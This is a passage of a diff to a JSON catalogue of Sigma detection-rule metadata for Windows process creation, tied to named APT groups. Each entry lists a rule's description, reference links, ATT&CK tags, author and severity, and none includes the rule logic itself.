"creation_date": "2018/12/04", + "filename": "proc_creation_win_apt_apt29_thinktanks.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity that could be related to Baby Shark malware", + "uuid": "2b30fa36-3a18-402f-a22d-bf4ce2189f35", + "value": "Baby Shark Activity", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.001", + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1218.005" + ], + "creation_date": "2019/02/24", + "filename": "proc_creation_win_apt_babyshark.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", + "uuid": "b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee", + "value": "Judgement Panda Credential Access Activity", + "meta": { + "refs": [ + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001", + "attack.t1003.003" + ], + "creation_date": "2019/02/21", + "filename": "proc_creation_win_apt_bear_activity_gtr19.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report", + "uuid": "bd70d3f8-e60e-4d25-89f0-0b5a9cff20e0", + "value": "BlueMashroom DLL Load", + "meta": { + "refs": [ + "https://www.virusbulletin.com/conference/vb2019/abstracts/apt-cases-exploiting-vulnerabilities-region-specific-software", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bluemashroom.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/10/02", + "filename": "proc_creation_win_apt_bluemashroom.yml", + "author": "Florian Roth, Tim Shelton", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "ce6e34ca-966d-41c9-8d93-5b06c8b97a06", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "proc_creation_win_apt_chafer_mar18.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmiexec vbs version execution by wscript or cscript", + "uuid": "966e4016-627f-44f7-8341-f394905c361f", + "value": "WMIExec VBS Script", + "meta": { + "refs": [ + "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_cloudhopper.yml" + ], + "tags": [ + "attack.execution", + "attack.g0045", + "attack.t1059.005" + ], + "creation_date": "2017/04/07", + "filename": "proc_creation_win_apt_cloudhopper.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects CrackMapExecWin Activity as Described by NCSC", + "uuid": "04d9079e-3905-4b70-ad37-6bdf11304965", + "value": "CrackMapExecWin", + "meta": { + "refs": [ + "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", + "https://attack.mitre.org/software/S0488/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml" + ], + "tags": [ + "attack.g0035", + "attack.credential_access", + "attack.discovery", + "attack.t1110", + "attack.t1087" + ], + "creation_date": "2018/04/08", + "filename": "proc_creation_win_apt_dragonfly.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Elise backdoor acitivty as used by APT32", + "uuid": "e507feb7-5f73-4ef6-a970-91bb6f6d744f", + "value": "Elise Backdoor", + "meta": { + "refs": [ + "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml" + ], + "tags": [ + "attack.g0030", + "attack.g0050", + "attack.s0081", + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2018/01/31", + "filename": "proc_creation_win_apt_elise.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", + "uuid": "9aa01d62-7667-4d3b-acb8-8cb5103e2014", + "value": "Emissary Panda Malware SLLauncher", + "meta": { + "refs": [ + "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", + "https://twitter.com/cyb3rops/status/1168863899531132929", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2018/09/03", + "filename": "proc_creation_win_apt_emissarypanda_sep19.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects EmpireMonkey APT reported Activity", + "uuid": "10152a7b-b566-438f-a33c-390b607d1c8d", + "value": "Empire Monkey", + "meta": { + "refs": [ + "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/04/02", + "filename": "proc_creation_win_apt_empiremonkey.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Very Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a specific tool and export used by EquationGroup", + "uuid": "d465d1d8-27a2-4cca-9621-a800f37cf72e", + "value": "Equation Group DLL_U Load", + "meta": { + "refs": [ + "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", + "https://securelist.com/apt-slingshot/84312/", + "https://twitter.com/cyb3rops/status/972186477512839170", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" + ], + "tags": [ + "attack.g0020", + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2019/03/04", + "filename": "proc_creation_win_apt_equationgroup_dll_u_load.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020", + "uuid": "8acf3cfa-1e8c-4099-83de-a0c4038e18f0", + "value": "EvilNum Golden Chickens Deployment via OCX Files", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/07/10", + "filename": "proc_creation_win_apt_evilnum_jul20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "uuid": "18739897-21b1-41da-8ee4-5b786915a676", + "value": "GALLIUM Artefacts", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212", + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2020/02/07", + "filename": "proc_creation_win_apt_gallium.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "uuid": "440a56bf-7873-4439-940a-1c8a671073c2", + "value": "GALLIUM Artefacts", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212", + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2020/02/07", + "filename": "proc_creation_win_apt_gallium_sha1.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", + "uuid": "871b9555-69ca-4993-99d3-35a59f9f3599", + "value": "Suspicious UltraVNC Execution", + "meta": { + "refs": [ + "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gamaredon_ultravnc.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.g0047", + "attack.t1021.005" + ], + "creation_date": "2022/03/04", + "filename": "proc_creation_win_apt_gamaredon_ultravnc.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects tools and process executions as observed in a Greenbug campaign in May 2020", + "uuid": "3711eee4-a808-4849-8a14-faf733da3612", + "value": "Greenbug Campaign Indicators", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_greenbug_may20.yml" + ], + "tags": [ + "attack.g0049", + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2020/05/20", + "filename": "proc_creation_win_apt_greenbug_may20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", + "uuid": "bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7", + "value": "Exchange Exploitation Activity", + "meta": { + "refs": [ + "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", + "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", + "https://twitter.com/BleepinComputer/status/1372218235949617161", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546", + "attack.t1053" + ], + "creation_date": "2021/03/09", + "filename": "proc_creation_win_apt_hafnium.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Hurricane Panda Activity", + "uuid": "0eb2107b-a596-422e-b123-b389d5594ed7", + "value": "Hurricane Panda Activity", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hurricane_panda.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.g0009", + "attack.t1068" + ], + "creation_date": "2019/03/04", + "filename": "proc_creation_win_apt_hurricane_panda.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike", + "uuid": "03e2746e-2b31-42f1-ab7a-eb39365b2422", + "value": "Judgement Panda Exfil Activity", + "meta": { + "refs": [ + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.g0010", + "attack.credential_access", + "attack.t1003.001", + "attack.exfiltration", + "attack.t1560.001" + ], + "creation_date": "2019/02/21", + "filename": "proc_creation_win_apt_judgement_panda_gtr19.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020", + "uuid": "7b544661-69fc-419f-9a59-82ccc328f205", + "value": "Ke3chang Registry Key Modifications", + "meta": { + "refs": [ + "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", + "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml" + ], + "tags": [ + "attack.g0004", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/06/18", + "filename": "proc_creation_win_apt_ke3chang_regadd.yml", + "author": "Markus Neis, Swisscom", + "level": "critical", + "falsepositive": [ + "Will need to be looked for combinations of those processes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity", + "uuid": "4a12fa47-c735-4032-a214-6fab5b120670", + "value": "Lazarus Activity", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1106" + ], + "creation_date": "2021/04/20", + "filename": "proc_creation_win_apt_lazarus_activity_apr21.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Should not be any false positives" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different process creation events as described in various threat reports on Lazarus group activity", + "uuid": "24c4d154-05a4-4b99-b57d-9b977472443a", + "value": "Lazarus Activity", + "meta": { + "refs": [ + "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", + "https://www.hvs-consulting.de/lazarus-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/12/23", + "filename": "proc_creation_win_apt_lazarus_activity_dec20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Overlap with legitimate process activity in some cases (especially selection 3 and 4)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects different loaders as described in various threat reports on Lazarus group activity", + "uuid": "7b49c990-4a9a-4e65-ba95-47c9cc448f6e", + "value": "Lazarus Loaders", + "meta": { + "refs": [ + "https://www.hvs-consulting.de/lazarus-report/", + "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml" + ], + "tags": [ + "attack.g0032", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/12/23", + "filename": "proc_creation_win_apt_lazarus_loader.yml", + "author": "Florian Roth, wagga", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff)", + "uuid": "3f7f5b0b-5b16-476c-a85f-ab477f6dd24b", + "value": "Lazarus Session Highjacker", + "meta": { + "refs": [ + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2020/06/03", + "filename": "proc_creation_win_apt_lazarus_session_highjack.yml", + "author": "Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line patterns as seen being used by MERCURY threat actor", + "uuid": "a62298a3-1fe0-422f-9a68-ffbcbc5a123d", + "value": "MERCURY Command Line Patterns", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.g0069" + ], + "creation_date": "2022/08/26", + "filename": "proc_creation_win_apt_mercury.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detecting DNS tunnel activity for Muddywater actor", + "uuid": "36222790-0d43-4fe8-86e4-674b27809543", + "value": "DNS Tunnel Technique from MuddyWater", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/", + "https://www.vmray.com/analyses/5ad401c3a568/report/overview.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2020/06/04", + "filename": "proc_creation_win_apt_muddywater_dnstunnel.yml", + "author": "@caliskanfurkan_", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process parameters as used by Mustang Panda droppers", + "uuid": "2d87d610-d760-45ee-a7e6-7a6f2a65de00", + "value": "Mustang Panda Dropper", + "meta": { + "refs": [ + "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", + "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ], + "creation_date": "2019/10/30", + "filename": "proc_creation_win_apt_mustangpanda.yml", + "author": "Florian Roth, oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", + "uuid": "5de632bc-7fbd-4c8a-944a-fce55c59eae5", + "value": "REvil Kaseya Incident Malware Patterns", + "meta": { + "refs": [ + "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", + "https://www.joesandbox.com/analysis/443736/0/html", + "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", + "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", + "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.g0115" + ], + "creation_date": "2021/07/03", + "filename": "proc_creation_win_apt_revil_kaseya.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Silence downloader. These commands are hardcoded into the binary.", + "uuid": "170901d1-de11-4de7-bccb-8fa13678d857", + "value": "Silence.Downloader V3", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_silence_downloader_v3.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "attack.discovery", + "attack.t1057", + "attack.t1082", + "attack.t1016", + "attack.t1033", + "attack.g0091" + ], + "creation_date": "2019/11/01", + "filename": "proc_creation_win_apt_silence_downloader_v3.yml", + "author": "Alina Stepchenkova, Roman Rezvukhin, Group-IB, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", + "uuid": "958d81aa-8566-4cea-a565-59ccd4df27b0", + "value": "Defrag Deactivation", + "meta": { + "refs": [ + "https://securelist.com/apt-slingshot/84312/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.005", + "attack.s0111" + ], + "creation_date": "2019/03/04", + "filename": "proc_creation_win_apt_slingshot.yml", + "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Trojan loader activity as used by APT28", + "uuid": "ba778144-5e3d-40cf-8af9-e28fb1df1e20", + "value": "Sofacy Trojan Loader Activity", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", + "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", + "https://twitter.com/ClearskySec/status/960924755355369472", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml" + ], + "tags": [ + "attack.g0007", + "attack.execution", + "attack.t1059.003", + "attack.defense_evasion", + "car.2013-10-002", + "attack.t1218.011" + ], + "creation_date": "2018/03/01", + "filename": "proc_creation_win_apt_sofacy.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", + "uuid": "7ba08e95-1e0b-40cd-9db5-b980555e42fd", + "value": "SOURGUM Actor Behaviours", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", + "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" + ], + "tags": [ + "attack.t1546", + "attack.t1546.015", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/15", + "filename": "proc_creation_win_apt_sourgrum.yml", + "author": "MSTIC, FPT.EagleEye", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", + "uuid": "18da1007-3f26-470f-875d-f77faf1cab31", + "value": "Ps.exe Renamed SysInternals Tool", + "meta": { + "refs": [ + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta17_293a_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.g0035", + "attack.t1036.003", + "car.2013-05-009" + ], + "creation_date": "2017/10/22", + "filename": "proc_creation_win_apt_ta17_293a_ps.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Renamed SysInternals tool" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", + "uuid": "18cf6cf0-39b0-4c22-9593-e244bdc9a2d4", + "value": "TA505 Dropper Load Pattern", + "meta": { + "refs": [ + "https://twitter.com/ForensicITGuy/status/1334734244120309760", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta505_dropper.yml" + ], + "tags": [ + "attack.execution", + "attack.g0092", + "attack.t1106" + ], + "creation_date": "2020/12/08", + "filename": "proc_creation_win_apt_ta505_dropper.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", + "uuid": "d1aa3382-abab-446f-96ea-4de52908210b", + "value": "TAIDOOR RAT DLL Load", + "meta": { + "refs": [ + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_taidoor.yml" + ], + "tags": [ + "attack.execution", + "attack.t1055.001" + ], + "creation_date": "2020/07/30", + "filename": "proc_creation_win_apt_taidoor.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", + "uuid": "8c7090c3-e0a0-4944-bd08-08c3a0cecf79", + "value": "TropicTrooper Campaign November 2018", + "meta": { + "refs": [ + "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/12", + "filename": "proc_creation_win_apt_tropictrooper.yml", + "author": "@41thexplorer, Microsoft Defender ATP", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects automated lateral movement by Turla group", + "uuid": "c601f20d-570a-4cde-a7d6-e17f99cb8e7f", + "value": "Turla Group Lateral Movement", + "meta": { + "refs": [ + "https://securelist.com/the-epic-turla-operation/65545/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059", + "attack.lateral_movement", + "attack.t1021.002", + "attack.discovery", + "attack.t1083", + "attack.t1135" + ], + "creation_date": "2017/11/07", + "filename": "proc_creation_win_apt_turla_commands_critical.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects automated lateral movement by Turla group", + "uuid": "75925535-ca97-4e0a-a850-00b5c00779dc", + "value": "Turla Group Lateral Movement", + "meta": { + "refs": [ + "https://securelist.com/the-epic-turla-operation/65545/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", 